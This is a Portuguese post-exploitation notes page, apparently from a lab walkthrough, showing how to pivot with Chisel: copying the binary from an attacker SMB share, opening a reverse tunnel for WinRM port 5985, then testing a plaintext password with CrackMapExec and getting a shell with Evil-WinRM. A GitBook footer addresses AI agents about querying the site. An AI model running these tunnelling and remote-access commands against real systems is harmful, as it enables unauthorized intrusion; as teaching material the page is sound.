> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/post-exploitation/pivoting-port-forwarding-5985-winrm.md).

# Pivotamento com redirecionamento de portas (5985 WinRM)

## Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Baixando e preparando arquivos:**/ Nós baixamos os arquivos compactados **Chisel** arquivos, a saber:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Após extrair os arquivos, transfira o **Chisel** binário para o alvo Windows:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/16432b0f5e245c2ddefd7af651ee50563e6f00b4" alt=""><figcaption></figcaption></figure>

**Ouvindo na máquina atacante com Chisel:**/ Inicie **Chisel** no modo servidor na máquina atacante na porta 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Então, na máquina Windows, execute **Chisel** no modo cliente e encaminhe a porta 5985 de volta para a máquina atacante:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/f9de78427ae6dbf475fa306fecdcdb059e4ca2b1" alt=""><figcaption></figcaption></figure>

**Verificando a porta encaminhada com `lsof`:**/ Já verificamos que a porta 5985 é exibida corretamente após o redirecionamento com o comando:

<figure><img src="/files/61a28c3084c599c57c6a093fcebe8ae6f29ea853" alt=""><figcaption></figcaption></figure>

**Conexão com WinRM:**/ Agora usamos **CrackMapExec** para testar a conexão via **WinRM** na porta 5985 redirecionada:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* O **comprometido** o marcador confirma que as credenciais conseguem acessar a máquina via WinRM.

<figure><img src="/files/7b6297219277785ca67d4843d211374063f7efb4" alt=""><figcaption></figcaption></figure>

**Conexão final com Evil-WinRM:**/ Por fim, usamos **Evil-WinRM** para obter uma shell remota como **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/post-exploitation/pivoting-port-forwarding-5985-winrm.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
